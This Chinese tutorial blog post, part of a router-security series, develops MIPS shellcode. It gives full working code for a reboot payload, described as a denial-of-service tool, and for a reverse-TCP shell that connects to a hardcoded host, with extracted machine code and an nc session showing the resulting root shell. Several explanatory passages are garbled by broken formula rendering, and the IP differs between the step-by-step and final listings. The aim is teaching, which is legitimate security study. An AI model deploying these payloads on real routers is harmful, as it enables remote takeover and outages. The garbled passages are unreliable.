十八、常用Shellcode开发

本次我们主要总结和分享了一些常用的Shellcode。

我们在前面几次分享中都是围绕着execve系统调用相关的Shellcode展开的。我们可以看到execve可以很方便的在存有栈溢出的路由器中完成远程命令执行。但它并不是唯一常用的Shellcode,在书中作者还介绍了一个简单的reboot Shellcode,主要用于发起对目标路由器的拒绝服务攻击。还有一个比较复杂的,通过联合多个系统调用来获取反向Tcp shell连接的Shellcode。本次分享我们就着重对这两个常用的Shellcode进行总结和分享。

reboot Shellcode

执行重启的Shellcode也经常应用于远程程序的漏洞利用中,黑客可以利用重启路由器造成拒绝服务。

首先我们看一下使用C语言应该如何编写reboot程序(百度找的):


#include <unistd.h>
#include <linux/reboot.h>
#include <sys/reboot.h>

int main() {
  reboot(LINUX_REBOOT_CMD_RESTART);
}

在mips-debian系统中编译这段代码:

root@bogon:~# gcc -static  test_reboot.c -o test_reboot

我们可以使用ida逆向这个程序,看看reboot函数具体使用哪个系统调用,main函数的核心汇编代码为:


.text:004006A0  lui     $v0, 0x123
.text:004006A4  ori     $a0, $v0, 0x4567
.text:004006A8  la      $v0, reboot
.text:004006AC  move    $t9, $v0
.text:004006B0  bal     reboot

我们可以看到,C代码中的LINUX_REBOOT_CMD_RESTART的16进制值为0x1234567。

这里的reboot函数间接的调用了reboot系统调用,真正使用reboot系统调用的汇编代码是这样的:


.text:0041CF80        .globl reboot
.text:0041CF80 reboot:                              
.text:0041CF80                                         
.text:0041CF80        move    $a2, $a0
.text:0041CF84        lui     $a1, 0x2812
.text:0041CF88        lui     $a0, 0xFEE1
.text:0041CF8C        li      $a1, 0x28121969
.text:0041CF90        li      $a0, 0xFEE1DEAD
.text:0041CF94        li      $v0, 0xFF8
.text:0041CF98        syscall 0

第4行我们可以看到,a0参数被赋值给了a2,也就是被赋值为LINUX_REBOOT_CMD_RESTART,也就是a2的值为0x1234567,

a1被赋值为0x28121969,

a0被赋值为0xFEE1DEAD,

然后将代表reboot的系统调用号0xFF8,也就是4088赋值给v0,

最后使用syscall指令调用了真正的reboot系统调用。

我们按照C语言编写的reboot,可以编写汇编语言的Shellcode,如下:

.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x123
ori $a2, $a2, 0x4567

lui $a1, 0x2812
ori $a1, $a1, 0x1969

lui $a0, 0xFEE1
ori $a0, $a0, 0xDEAD

li $v0, 4088
syscall

使用readelf命令结合dd命令可以提取到最终的Shellcode机器码如下:

root@bogon:~# readelf -S test_reboot
There are 8 section headers, starting at offset 0x254:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .MIPS.abiflags    MIPS_ABIFLAGS   00400098 000098 000018 18   A  0   0  8
  [ 2] .reginfo          MIPS_REGINFO    004000b0 0000b0 000018 18   A  0   0  4
  [ 3] .text             PROGBITS        004000d0 0000d0 000020 00  AX  0   0 16
  [ 4] .gnu.attributes   LOOS+0xffffff5  00000000 0000f0 000010 00      0   0  1
  [ 5] .symtab           SYMTAB          00000000 000100 0000d0 10      6   6  4
  [ 6] .strtab           STRTAB          00000000 0001d0 000039 00      0   0  1
  [ 7] .shstrtab         STRTAB          00000000 000209 000049 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

root@bogon:~# dd if=test_reboot of=test_reboot.ins bs=1 skip=208 count=32
32+0 records in
32+0 records out
32 bytes copied, 0.0131893 s, 2.4 kB/s

使用hexdump查看机器码:


root@bogon:~# hexdump test_reboot.ins 
0000000 3c06 0123 34c6 4567 3c05 2812 34a5 1969
0000010 3c04 fee1 3484 dead 2402 0ff8 0000 000c
0000020
root@bogon:~#

reverse_tcp Shellcode

反向连接Shellcode可以在一个被攻击系统和另一个系统之间建立连接,一旦Shellcode被连接,将产生一个交互式的Shell。Shellcode可以从被攻击机器上产生一个指向外部的连接,这对于攻击躲避在防火墙后面的服务器是很有用的方法。

我们还是先使用C语言实现反向连接远程端口(reverse_tcp.c):

#include <sys/types.h>       
#include <sys/socket.h>
#include <netinet/in.h>

int soc, rc;
struct sockaddr_in serv_addr;
//reverse(ip: port)   192.168.32.140:30583

int main() {
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = 0xc0a8208c;
        serv_addr.sin_port = 0x7777;
        soc = socket(AF_INET, SOCK_STREAM, 0);
        rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
        dup2(soc, 0);
        dup2(soc, 1);
        dup2(soc, 2);
        execve("/bin/sh", 0, 0);
}

第10、11、12三行准备了远程主机的ip和端口号。

第13行使用socket函数创建了一个套接字。

第14行使用connect函数向远程主机发起tcp连接,连接成功后soc变量就代表了本次有效的tcp连接。

第15、16、17三行将socket套接字与本进程的stdin(0)、stdout(1)、stderr(2)绑定到了一起。

第18行使用execve函数执行了一个/bin/sh程序。

我们知道,/bin/sh程序启动后会使用stdin、stdout、stderr三个文件描述符来分别处理用户的输入、程序的正常输出、程序的报错输出。而第15、16、17三行将socket套接字与这三个文件描述进行了绑定,也就是说,发送给socket套接字的信息也都会发送给/bin/sh。而/bin/sh产生的输出也都会发送给socket套接字。这样我们就从原理上获取了一个反向的tcp shell。

为了更好的理解什么叫反向 Tcp Shell,我们就用这段代码做个实验。

在mips-debian系统中编译这个反向连接代码:

root@bogon:~# gcc reverse_tcp.c -o reverse_tcp

在Ubuntu系统中使用nc命令启动30583端口:

test@ubuntu:~$ nc -l -p 30583

执行刚刚编译的反向连接程序:

root@bogon:~# ./reverse_tcp

查看Ubuntu系统中nc命令的变化:

test@ubuntu:~$ nc -l -p 30583

ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
telnetd
tmp
usr
var
vmlinux
vmlinux.old

id
uid=0(root) gid=0(root) groups=0(root)


cat /etc/issue
Debian GNU/Linux 9 \n \l

我们可以发现,在Ubuntu中使用nc命令的地方可以获取到一个远程连接到mips-debian系统的shell,并且可以在shell中执行任意命令。

由上面的C代码,我们可以知道,为了实现反向连接,需要成功执行socket、connect、dup2和execve系统调用。

第13行的socket调用并不难:

soc = socket(AF_INET, SOCK_STREAM, 0);

所有的参数都为整数,不存在指针之类的复杂类型,需要注意的就是要把socket函数的返回值放到安全的地方,因为在connect和dup2函数中会使用这个值,这里的AF_INET=2,SOCK_STREAM=2。

建立socket以后,需要尝试连接远程主机,需要将远程主机的端口号和IP信息保存在serv_addr结构体中变量中:


serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = 0xc0a8208c;
serv_addr.sin_port = 0x7777;
soc = socket(AF_INET, SOCK_STREAM, 0);
rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);

连接好以后,会得到一个套接字文件描述符,就是soc变量,这个套接字文件描述符允许用户和套接字接口进行通信。因为我们想要给连接的用户返回一个交互的shell,所以使用socket套接字来绑定stdin(标准输入)、stdout(标准输出)、stderr(标准出错),然后使用execve函数执行了/bin/sh命令:


        dup2(soc, 0);
        dup2(soc, 1);
        dup2(soc, 2);
        execve("/bin/sh", 0, 0);

这是一个在Shellcode中执行多个系统调用的例子,各个系统调用之间的关系也比较复杂,下面我们会把每个系统调用分开讲解:

socket系统调用


# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183     # sys_socket
syscall

第5~8行是利用指令优化技术将a0和a1都赋值为2。

第5行将t7赋值为-6,原码为10000110,反码为11111001,补码为11111010。

第6行将-6的补码与$zero进行同或操作:

   11111010

nor 00000000

= 00000101

所以,第6行的意思是将t7赋值为5。

第7行,是将a0赋值为5-3,也就是2.

第8行,同样的,是将a1赋值为2.

第9行,因为$zero不小于-1,所以,设置a2为0 (set on less than immediate)。

第10行,将v0设置为4183,是sys_socket的系统调用号。

第11行使用syscall指令完成sys_socket的系统调用。

connect系统调用

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8       #ip(high)
ori $t6, $t6, 0x0249  #ip(low)
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170      #sys_connect
syscall

第5行,是把v0的值保存到栈空间中。v0是上一次系统调用得到的返回值,也就是socket调用返回的socket文件描述符,对应最上面C语言代码里的soc变量。

第6行,相当于把刚刚保存的soc变量存储到了a0中。

因为我们要调用connect函数,所以,我们还要准备a1、a2参数。

a1对应上面C代码中的结构体变量,而结构体本质上就是一块固定格式的内存,内存中规定了第几个字节应该存储哪个字段的值。第7~16行就是为了准备这个结构体变量对应内存数据的。

为了能够更好的理解结构体在内存中的存储,我们先来看一下这个结构体的定义:


struct sockaddr_in {
  sa_family_t    sin_family;
  uint16_t       sin_port;
  struct in_addr  sin_addr;
  char            sin_zero[8];
}

这里的struct in_addr同样是一个结构体,其他的字段其实都是一个基本类型的别名:

struct in_addr {
  In_addr_t    s_addr;
}

这里的In_addr_t实际上是一个32位的基本类型,用于存储IPv4地址。

按照各个字段在结构体中的前后顺序,我们可以得出结构体变量在内存中的存储结构:
在这里插入图片描述

在上面的汇编代码中,使用3次sw指令将family、端口号、ip分别存入了当前函数对额栈空间,分别是 s p − 32 、 sp-32、 sp32sp-28、$sp-26。

第7、8、9三条指令是将$sp-32所指向的内存赋值位2,执行完这三条指令后,栈空间内存变化如图:

在这里插入图片描述

这个2,是由第7行的0xfffd与$zero同或操作得到的:

  1111111111111101

nor 0000000000000000

= 0000000000000010

= 0x2

这里因为sw指令要求的操作数是4字节,所以第9行的汇编指令实际上是将 s p − 32 开 始 的 4 字 节 空 间 都 进 行 了 赋 值 , 低 2 位 赋 值 位 0 , 高 2 位 赋 值 位 2 。 因 此 整 个 结 构 体 变 量 的 内 存 空 间 起 始 地 址 应 该 为 sp-32开始的4字节空间都进行了赋值,低2位赋值位0,高2位赋值位2。因此整个结构体变量的内存空间起始地址应该为 sp3242022sp-30。

第10、11、12三行,是将$sp-28内存赋值为端口号,即0x7777:
在这里插入图片描述

这里因为第12行的sw指令是操作的32位(即4字节)数,所以将与 s p − 28 内 存 相 邻 的 sp-28内存相邻的 sp28sp-26也做了赋值。这其实没什么关系,因为我们很快就会看到,汇编指令的第15行使用sw指令将$sp-26内存开始的4个字节被赋值为了4个字节的IPv4地址:
在这里插入图片描述

至此,我们的struct sockaddr_in结构体变量就准备好了,我需要使用第16行的addiu指令使该结构体变量保存到a1寄存器中。

接下来的第18、19、20行分别准备了a2参数(0x10)和系统调用号(v0=4170)。

最后使用syscall指令发起了sys_connect系统调用。

dup2系统调用

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop

因为在文章开头处的C代码中分别使用3次dup2函数,因此这里为了节省空间,使用了一个循环来调用dup2函数,相当于以下代码:


$s1 = 2;
do {
  dup2(socket_handle, $s1);
  $s0 = -1;
  $s1 = $s1 -1;
} while ($s1 != $s0)

汇编代码的第4、5行就是将s1赋值为2,-3的补码形式为11111101,与00000000同或操作得到00000010,即赋值为2。

第6行,是将 s p − 1 中 的 值 存 入 a 0 寄 存 器 , 还 记 得 我 们 前 面 讲 的 c o n n e c t 函 数 调 用 的 汇 编 代 码 吗 , 第 一 条 语 句 就 是 将 s o c k e t 文 件 描 述 符 ( v 0 ) 存 入 到 了 sp-1中的值存入a0寄存器,还记得我们前面讲的connect函数调用的汇编代码吗,第一条语句就是将socket文件描述符(v0)存入到了 sp1a0connectsocketv0sp-1中,所以,这里a0将指向的是socket文件描述符。

第一轮循环中,s1的值为2,所以第一轮循环中的第7行汇编代码将a1赋值为2,然后准备v0,然后调用了syscall完成了dup2(sokcet_handle, 2)的功能。紧接着将s1减1,然后判断s1是否小于0,如果不小于0,就继续调用这个循环,依次完成dup2(sokcet_handle, 1)、dup2(sokcet_handle, 0)。如果s1小于0,就代表三次dup2函数已经执行完成,可以继续向下执行其他汇编代码了,也就是下面的execve系统调用部分。

execve系统调用

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011      #sys_execve
syscall

在第“十五”次分享中,我们使用了execve来执行/bin/sh命令,在当时调用exceve时,我们将要执行的命令,即“/bin/sh”附加在了Shellcode尾部的做法。在本例中,因为我们只需要执行/bin/sh,所以并没有采用之前的灵活方式,而是使用sw指令直接将“//bin/sh”写入栈空间中($sp-20)即可,这段汇编代码对应的系统系统调用C代码为:execve("//bin/sh", 0, 0),这里为了方便汇编代码的编写(4字节对齐),我们在/bin/sh字符串前面加了一个/,这样整好2次sw操作可以将这8个字节完整的写入到栈中。

经过上面的分析,一个完整的反向连接Shellcode已经完成了,这里我们给出它的完整代码:

.section .text
.globl __start
.set noreorder
__start:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183     # sys_socket
syscall

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8       #ip(high) 192.168
ori $t6, $t6, 0x208c  #ip(low)  32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170      #sys_connect
syscall

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011      #sys_execve
syscall

我们可以将这段完成reverse_tcp shellcode编译成可执行文件进行测试,需要注意的是,因为在汇编代码中硬编码了ip和端口号,所以在实际的实验环境中,你可能需要将对应的部分做出修改。

在mips-debian系统中编译这段汇编代码的命令如下:


root@bogon:~# as reverse_tcp.S -o reverse_tcp.o
root@bogon:~# ld reverse_tcp.o -o reverse_tcp

在192.168.32.140的Ubuntu中使用nc命令监听0x7777端口:

test@ubuntu:~/Desktop$ nc -l -p 30583

在mips-debian系统中执行reverse_tcp程序:

root@bogon:~# ./reverse_tcp

这时在192.168.32.140的Ubuntu中的nc命令中,就可以输入各种命令来取得mips-debian系统的shell了:

test@ubuntu:~/Desktop$ nc -l -p 30583


ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
telnetd
tmp
usr
var
vmlinux
vmlinux.old

到这里,我们对家用路由器安全分析场景中常用的技术基础知识就总结完了。

下次的分享中,我们将会通过一个完成的示例,即通过一个存在缓冲区溢出漏洞的程序,来演示如何通过漏洞的方式来执行我们编写的Shellcode的。

最后,希望本次分享能够为你带来帮助。谢谢大家。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值